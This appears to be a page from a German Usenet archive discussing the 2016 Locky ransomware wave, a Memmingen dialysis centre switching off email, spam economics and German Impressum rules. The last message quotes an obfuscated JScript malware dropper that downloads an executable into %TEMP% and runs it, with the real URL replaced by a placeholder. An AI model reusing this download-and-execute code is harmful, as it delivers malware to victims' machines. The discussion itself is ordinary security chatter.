>> Dr. Joachim Neudert schrieb:
>>> Am 26.02.16 um 15:47 schrieb Fidel-Sebastian Hunrichse-Lara:
>> 
>>>> [...] Ärzte müssten nicht einmal ein Telefon haben und würden
>>>> trotzdem noch genügend Patienten haben...
>>>
>>> Ich halte das ganze ja für maßlos übertrieben und aufgebauscht, aber
>>> immerhin hat die Bundesregierung gerade eben ein Gesetz durchgesetzt
>>> das Patienten zusichert innerhalb von vier Wochen einen Facharzttermin
>>> zu bekommen.
>> 
>> Btw https://groups.google.com/forum/#!search/f%C3%BCnf$20lotto-sechser$20ct
>> * @Dorothee: hint ;-) * aus einem älteren ger.ct-Thread ...
>> 
>> Als für ein aktuelles datu-Thema imho ebenfalls kompetent,
>> evtl. könntest du UFH erklären, dass, langfristig betrachtet,
>> Patienten durch Nichtinanspruchnahme von KV-Leistungen
>> eher seltener sparten? ;-)
>> 
>>  
> 
> Ja, mach ich. Das mach ich gleich. Das mach ich gleich morgen früh.
> Moment noch, ich muß erst noch paar Quallen fest an die Wand nageln...  ;-)
> 
Daran ist bestimmt Putin Schuld! Und UFH vermutlich auch...

	M.f.G.

-- 
Diese E-Mail-Adresse wird nur aus nostalgischen Gründen verwendet. Sie
wird praktisch nie gelesen.  Das MausNet ist nicht tot – es riecht nur
etwas komisch... ;-)

[toc] | [prev] | [next] | [standalone]

#245302

From	Jürgen Schick <expires-2016-02-29@nurfuerspam.de>
Date	2016-02-27 15:21 +0100
Message-ID	<nasdan.25k.1@amnews.de>
In reply to	#245216

Fidel-Sebastian Hunrichse-Lara schrieb:
> Dr. Joachim Neudert schrieb:

>> [...] Moment noch, ich muß erst noch paar Quallen
>> fest an die Wand nageln...  ;-)
>>
> Daran ist bestimmt Putin Schuld!

Nobody expects "intraartikulär injizierte Quallen" in dan!!11elf
http://www.dabo.de/newsportal/thread.php?group=de.alt.netdigest
*Psst, Gateway-Betreiber z.B. wäre Mitglied der Piraten* :-)

> Und UFH vermutlich auch...

A'wo, Hyaluronsäurepräparaten zweifelhaften Nutzens ...
http://www.arznei-telegramm.de/html/1993_05/9305045_01.html
... würde er doch eher kaum zustimmen? ;-)

Ciao
   Jürgen

-- 
"Fit wie ..." - "Schleuder Katzen! Das kurzweilige Klickspiel
für alle Katzenliebhaber in lustiger 8bit Retro-Optik" zitiert
aus http://www.tivola-mobile.com/de/denkspiele/cat-a-pult/
- Golden Kitty Award 2016: www.rp-online.de/1.5781870 :-)

[toc] | [prev] | [next] | [standalone]

#245556

From	Jürgen Schick <expires-2016-02-29@nurfuerspam.de>
Date	2016-02-29 17:40 +0100
Message-ID	<nb1u6m.3to.1@amnews.de>
In reply to	#245214

Dr. Joachim Neudert schrieb:

> [...] Moment noch, ich muß erst noch paar Quallen fest
> an die Wand nageln...  ;-)

Btw in welcher Test-NG? :-) ... Im Reply an FSHL beiläufig
erwähnter de-Regular und UFH kennen sich mindestens ...

uggcf://tebhcf.tbbtyr.pbz/sbehz/#!frnepu/vxr$20nepbe.uryc

... aus einer dt.-sprachigen Hierarchie "rein namensmäßig"
ja eigentlich schon relativ lang. ;-)

Ciao
   Jürgen

-- 
... aus einem "leicht" gekürzten Tweet :-) ...
https://pirati.ca/photo/f16423c1ffce3418ec1852a1207dd47a-1.jpg

[toc] | [prev] | [next] | [standalone]

#245224

From	Michael Pachta <mipani@gmx.de>
Date	2016-02-26 19:26 +0100
Message-ID	<djbjncFldrqU1@mid.individual.net>
In reply to	#245079

Am 26.02.2016 um 14:56 schrieb Dr. Joachim Neudert:
> Wenn ich eine Spam Mail 10 Millionen Mal verschicke kostet das den
> Übeltäter gar kein Geld [...]

Das glaube ich nicht. Es gibt Kriminelle, die Spamversand als
Dienstleistung anbieten, z.B über Botnetze. Nicht jeder Spammer
unterhält ein eigenes Botnetz, das er zum Spam-Versand nutzen kann. Und
das Akquirieren eines Botnetzes kostet auch Geld. Der Versand von 10 Mio
Spam-Mails über nur eine Handvoll Server dürfte nicht möglich sein.

Maddin

[toc] | [prev] | [next] | [standalone]

#245225

From	Michael Pachta <mipani@gmx.de>
Date	2016-02-26 19:29 +0100
Message-ID	<djbjrsFldrqU3@mid.individual.net>
In reply to	#245079

Am 26.02.2016 um 14:56 schrieb Dr. Joachim Neudert:
> Wenn ich eine Spam Mail 10 Millionen Mal verschicke kostet das den
> Übeltäter gar kein Geld [...]

Da bin ich mir nicht so sicher. Es gibt Kriminelle, die Spamversand als
Dienstleistung anbieten, z.B über Botnetze. Nicht jeder Spammer
unterhält ein eigenes Botnetz, das er zum Spam-Versand nutzen kann. Und
das Akquirieren eines Botnetzes kostet auch Geld. Der Versand von 10 Mio
Spam-Mails über nur eine Handvoll Server dürfte nicht möglich sein.

M.

[toc] | [prev] | [next] | [standalone]

#245232

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-26 20:01 +0100
Message-ID	<djblokFm2vrU1@mid.individual.net>
In reply to	#245079

Am 26.02.2016 um 14:56 schrieb Dr. Joachim Neudert:

> Was mir an www.dialyse-mm.de so gefällt:
> 
> Plötzlich herrscht wieder Gleichstand.
> 
> Wenn jemand anruft, kostet das den Angerufenen Zeit. Genauso viel Zeit
> wie den Anrufer. Das ist fair.  Es kostet den Anrufenden auch ein
> bisschen Geld, auch in Zeiten der Flatrate.

Nö, Gleichstand wäre, wenn der Angerufene den Hörer abnimmt, wenn es ihm
passt und nicht wenn das Telefon klingelt. Der Anrufer ruft ja
schließlich auch an, wenn es ihm passt.

Btw.: wieviele Leute arbeiten denn in dem Großbetrieb in Memmingen? Bis
49 Beschäftigte fällt unter Kleinunternehmen. Es sei denn sie machen >
50 Millionen Umsatz, dann wäre es doch ein Großunternehmen.

[toc] | [prev] | [next] | [standalone]

#245055

From	Shinji Ikari <shinji@gmx.net>
Date	2016-02-25 12:53 +0100
Message-ID	<cpqtcb5ln6gu3fc226tkva5bdfcjder0p6@4ax.com>
In reply to	#245023

Guten Tag

"Dr. Joachim Neudert" <neudert@5sl.org> schrieb

>Für dieses Unternehmen ist E-Mail also auch kaputt.

Dann sollten sie die Email-kontaktmoeglichkeit von den Webseiten
entfernen.

[toc] | [prev] | [next] | [standalone]

#245054

From	Shinji Ikari <shinji@gmx.net>
Date	2016-02-25 12:53 +0100
Message-ID	<ajqtcbhsm6s89thelo6q3gndf9fhuilfqp@4ax.com>
In reply to	#245020

Guten Tag

"Dr. Joachim Neudert" <neudert@5sl.org> schrieb

>> Damit bist Du eher alleine, und das ist auch gut so. 
>Das große Dialysezentrum und medizinische Versorgungszentrum in
>Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.

Google.-Suche nach Dialysezentrum memmingen fuehrt mich zu
http://www.dialyse-mm.de/   welche zu
http://www.aerztehaus-donaustrasse.de/index.php?id=2 weiter leitet.

Warum haben die heute (25.02.2016) dann noch im Impressum die
Kontakt-Email-Adresse sogar mit <mailto:> angegeben?
http://www.aerztehaus-donaustrasse.de/index.php?id=39

[toc] | [prev] | [next] | [standalone]

#245057

From	Shinji Ikari <shinji@gmx.net>
Date	2016-02-25 13:13 +0100
Message-ID	<hsrtcb1skmqd9rem80pi09s8spmjoo4dhv@4ax.com>
In reply to	#245054

Guten Tag

"Dr. Joachim Neudert" <neudert@5sl.org> schrieb

>>> Das große Dialysezentrum und medizinische Versorgungszentrum in
>>> Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.
>> Warum haben die heute (25.02.2016) ...
>Weil evtl. der Webdesigner keine Nachtschichten eingelegt hat?

Nachtschicht zwischen 20.02.2016 und 25.02.2016 ist nicht zwingend
notwendig. Da sind auch ein paar Stunden drin, dei nicht in die Nacht
fallen.

[toc] | [prev] | [next] | [standalone]

#245093

From	Wolfgang Kynast <wky@gmx.de>
Date	2016-02-25 16:33 +0100
Message-ID	<dj8l5hFsomqU1@mid.individual.net>
In reply to	#245054

On Thu, 25 Feb 2016 12:54:59 +0100, "Dr. Joachim Neudert" posted:

>Am 25.02.16 um 12:53 schrieb Shinji Ikari:
>> Guten Tag
>> 
>> "Dr. Joachim Neudert" <neudert@5sl.org> schrieb
>> 
>>>> Damit bist Du eher alleine, und das ist auch gut so. 
>>> Das große Dialysezentrum und medizinische Versorgungszentrum in
>>> Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.
>> 
>> Google.-Suche nach Dialysezentrum memmingen fuehrt mich zu
>> http://www.dialyse-mm.de/   welche zu
>> http://www.aerztehaus-donaustrasse.de/index.php?id=2 weiter leitet.
>> 
>> Warum haben die heute (25.02.2016) dann noch im Impressum die
>> Kontakt-Email-Adresse sogar mit <mailto:> angegeben?
>> http://www.aerztehaus-donaustrasse.de/index.php?id=39

Ist das Nichtangeben eines Email-Kontaktes überhaupt zulässig?

>Weil evtl. der Webdesigner keine Nachtschichten eingelegt hat?

Wenn der mal aufwacht, kann er auch gleich die "KARDIOLOIE" reparieren
:-)

-- 
Schöne Grüße,
Wolfgang

[toc] | [prev] | [next] | [standalone]

#245100

From	Peter Faust <peter.faust-solingen@t-online.de>
Date	2016-02-25 16:57 +0100
Message-ID	<56CF2481.8080707@peter.faust-stockholm.user.spray.se>
In reply to	#245093

Dr. Joachim Neudert wrote:

> Am 25.02.16 um 16:33 schrieb Wolfgang Kynast:
> 
>> Ist das Nichtangeben eines Email-Kontaktes überhaupt zulässig?
>> 
>>> Weil evtl. der Webdesigner keine Nachtschichten eingelegt hat?
>> 
>> Wenn der mal aufwacht, kann er auch gleich die "KARDIOLOIE" reparieren
>> :-)
>> 
> 
> Hab ich auch schon gesehen und spricht dafür dass die Seite mit heißer
> Nadel überarbeitet wurde.
> Evtl.  waren da letzte Woche doch noch E-Mail-Adressen drauf?

Außer der im Impressum angegebenen zumindest zum 1. Februar nicht:
https://web.archive.org/web/20150226194413/http://www.aerztehaus-donaustrasse.de/index.php?id=1

Gruß, Peter

-- 
👍 https://www.youtube.com/watch?v=EhAFyaObY6U&html5=1 👍

[toc] | [prev] | [next] | [standalone]

#245107

From	Wolfgang Kynast <wky@gmx.de>
Date	2016-02-25 18:07 +0100
Message-ID	<dj8qm2Fu61bU1@mid.individual.net>
In reply to	#245100

On Thu, 25 Feb 2016 16:57:53 +0100, "Peter Faust" posted:

...
>> Am 25.02.16 um 16:33 schrieb Wolfgang Kynast:
>> 
>>> Ist das Nichtangeben eines Email-Kontaktes überhaupt zulässig?

Weiß niemand was zu der Frage? Ich hab da was im Hinterkopf ...

-- 
Schöne Grüße,
Wolfgang

[toc] | [prev] | [next] | [standalone]

#245142

From	"Dr. Joachim Neudert" <neudert@5sl.org>
Date	2016-02-26 07:33 +0100
Message-ID	<naorjh$l3t$1@news.albasani.net>
In reply to	#245054

Am 25.02.16 um 23:11 schrieb Michael Zink:
> On Thu, 25 Feb 2016 15:17:59 +0100, Dr. Joachim Neudert wrote:
> 
>> Impressum? pfffft... Übers Impressum fragt kein Patient jemals an, daß
>> ist die Anlaufstelle für die Arbeit suchenden Webdesigner...
> 
> Oder ABM für Abmahner. ...
> 
> Auf Wiederlesen
> 
> Michael
> 
Das ist sogar die Hauptverwendung fürs Impressum: wen verklage ich wo...

[toc] | [prev] | [next] | [standalone]

#245145

From	Michael Bode <m.g.bode@web.de>
Date	2016-02-26 07:43 +0100
Message-ID	<djaag1Fb0bhU1@mid.individual.net>
In reply to	#245142

Am 26.02.2016 um 07:33 schrieb Dr. Joachim Neudert:
> Am 25.02.16 um 23:11 schrieb Michael Zink:
>> On Thu, 25 Feb 2016 15:17:59 +0100, Dr. Joachim Neudert wrote:
>>
>>> Impressum? pfffft... Übers Impressum fragt kein Patient jemals an, daß
>>> ist die Anlaufstelle für die Arbeit suchenden Webdesigner...
>>
>> Oder ABM für Abmahner. ...
>>
>> Auf Wiederlesen
>>
>> Michael
>>
> Das ist sogar die Hauptverwendung fürs Impressum: wen verklage ich wo...

Haupt? Gibt es noch eine andere?

[toc] | [prev] | [next] | [standalone]

#245165

From	Wolfgang Kynast <wky@gmx.de>
Date	2016-02-26 10:29 +0100
Message-ID	<djak6vFddbuU1@mid.individual.net>
In reply to	#245145

On Fri, 26 Feb 2016 07:43:13 +0100, "Michael Bode" posted:

>Am 26.02.2016 um 07:33 schrieb Dr. Joachim Neudert:
>> Am 25.02.16 um 23:11 schrieb Michael Zink:
>>> On Thu, 25 Feb 2016 15:17:59 +0100, Dr. Joachim Neudert wrote:
>>>
>>>> Impressum? pfffft... Übers Impressum fragt kein Patient jemals an, daß
>>>> ist die Anlaufstelle für die Arbeit suchenden Webdesigner...
>>>
>>> Oder ABM für Abmahner. ...
>>>
>>> Auf Wiederlesen
>>>
>>> Michael
>>>
>> Das ist sogar die Hauptverwendung fürs Impressum: wen verklage ich wo...
>
>Haupt? Gibt es noch eine andere?

Sicher: Seriositätscheck eines unbekannten Anbieters. Ich schaue da
gerne mal im Telefonbuch und auf Google Maps, wo der (angebliche) Shop
residiert.

-- 
Schöne Grüße,
Wolfgang

[toc] | [prev] | [next] | [standalone]

#245164

From	Wolfgang Kynast <wky@gmx.de>
Date	2016-02-26 10:27 +0100
Message-ID	<djak3qFdchpU1@mid.individual.net>
In reply to	#245142

On Fri, 26 Feb 2016 07:33:21 +0100, "Dr. Joachim Neudert" posted:

>Am 25.02.16 um 23:11 schrieb Michael Zink:
>> On Thu, 25 Feb 2016 15:17:59 +0100, Dr. Joachim Neudert wrote:
>> 
>>> Impressum? pfffft... Übers Impressum fragt kein Patient jemals an, daß
>>> ist die Anlaufstelle für die Arbeit suchenden Webdesigner...
>> 
>> Oder ABM für Abmahner. ...
>> 
>> Auf Wiederlesen
>> 
>> Michael
>> 
>Das ist sogar die Hauptverwendung fürs Impressum: wen verklage ich wo...

Mein Hinterkopf funktioniert doch noch ganz gut:

Eine kommerzielle Webseite *muss* im Impressum eine Email-Adresse
haben. Und eine Telefonnummer oder ein Kontaktformulat mit zeitnaher
Beantwortung. 
http://www.linksandlaw.info/Impressumspflicht-45-eugh-urteil.html

Ist also (noch) nix mit "schalten wir mal schnell ab".

Auf "kein Kläger kein Richter" würde ich mich aus dem von Dir
genannten Grund nicht verlassen wollen. 

Was die Rechtsprechung übrigens noch nicht geklärt hat: muss beim
Telefon auch jemand drangehen? Oder kann man ein Handy angeben, dass
man einmal im einschaltet?

-- 
Schöne Grüße,
Wolfgang

[toc] | [prev] | [next] | [standalone]

#245085 — Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

From	Hanno Foest <hurga-news2@tigress.com>
Date	2016-02-25 15:56 +0100
Subject	Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "
Message-ID	<dj8j1iFs6q1U1@mid.individual.net>
In reply to	#245020

Am 25.02.2016 09:12 schrieb Dr. Joachim Neudert:

>>> Nur um Euch mal 'nen Eindruck zu geben, warum ich - als einer der
>>> Verantwortlichen für die Bürgernetz-Mail und den Mailserver- eMail schon
>>> für ziemlich kaputt halte...
>>
>> Damit bist Du eher alleine, und das ist auch gut so.
>
> Das große Dialysezentrum und medizinische Versorgungszentrum in
> Memmingen hat seit Samstag seine E-Mail komplett abgeschaltet.

Das hat viel mit Windows (insbesondere "medizin-zertifiziertem" Windows, 
was nicht upgedatet werden darf) und wenig mit email zu tun. Der nächste 
Trojaner wird dann halt auf einem USB-Stick reingetragen, oder kommt von 
einem Datenaustauschserver, oder oder oder. Die werden sich ja 
sicherlich nicht komplett vom Internet abgeklemmt haben.

Hanno

[toc] | [prev] | [next] | [standalone]

#245051

From	Fidel-Sebastian Hunrichse-Lara <Fidel-Sebastian_Hunrichse-Lara@b.maus.de>
Date	2016-02-25 12:40 +0100
Message-ID	<namp25$7kp$1@dont-email.me>
In reply to	#244979

Salve allerseits,

Karsten Düsterloh schrieb:
> Michael Bode aber hob an zu reden und schrieb:
>>> Ich muss das Ding glatt mal in einer ausprobieren.
>> 
>> VM natürlich.
> 
> Das Skript ist extrem unspektulär — und funktioniert so auch nur für die
> Windows-Freunde (Malware-URL entfernt):
> 
> 
> var ymPnmKX= this['ActiveXObject'];
> var CaptvRev = new ymPnmKX('WScript.Shell');
>         var fPqiIay = CaptvRev['ExpandEnvironmentStrings']('%TEMP%') +
> '/fXBvKHcBd.exe';
>         var EFeXdn = new ymPnmKX('MSXML2.XMLHTTP');
>         EFeXdn['onreadystatechange'] = function() {
>         if (EFeXdn['readystate'] === 4) {
>                 var NfEtY = new ymPnmKX('ADODB.Stream');
>                 NfEtY['open']();
>                 NfEtY['type'] = 1;
>                 NfEtY['write'](EFeXdn['ResponseBody']);
>                 NfEtY['position'] = 0;
>                 NfEtY['saveToFile'](fPqiIay, 2);
>                 NfEtY['close']();
>         };
>     };
>     try {
>     var    cXBGW = 'Run';
>         EFeXdn['open']('GET' ,'hierstandeinemalwareurl', false);
>         EFeXdn['send']();
>         CaptvRev [cXBGW](fPqiIay, 1, false);
>     } catch (ajg9ggxFs) {};
> 
> 
> Schlimm ist hier maximal, daß sowas 2016 in einer Mail noch ausgeführt
> wird — der Vektor ist doch uralt?!
> 
Nope! Bei einem standardkonfigurierten Windows-Rechner samt MS-Office
wird es nicht ausgeführt! Damit es doch ausgeführt wird, muss jemand
zuerst nachhelfen...

	M.f.G.

-- 
Diese E-Mail-Adresse wird nur aus nostalgischen Gründen verwendet. Sie
wird praktisch nie gelesen.  Das MausNet ist nicht tot – es riecht nur
etwas komisch... ;-)

[toc] | [prev] | [next] | [standalone]

Page 6 of 7 — ← Prev page 1 2 3 4 5 [6] 7 Next page →

csiph-web

Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

Contents

#245213

#245214

#245216

#245302

#245556

#245224

#245225

#245232

#245055

#245054

#245057

#245093

#245100

#245107

#245142

#245145

#245165

#245164

#245085 — Re: " Bei einer Analyse mit dem Virenscan-Dienst VirusTotal erkannten nur 3 von 55 Virenscannern das Locky-Binary. "

#245051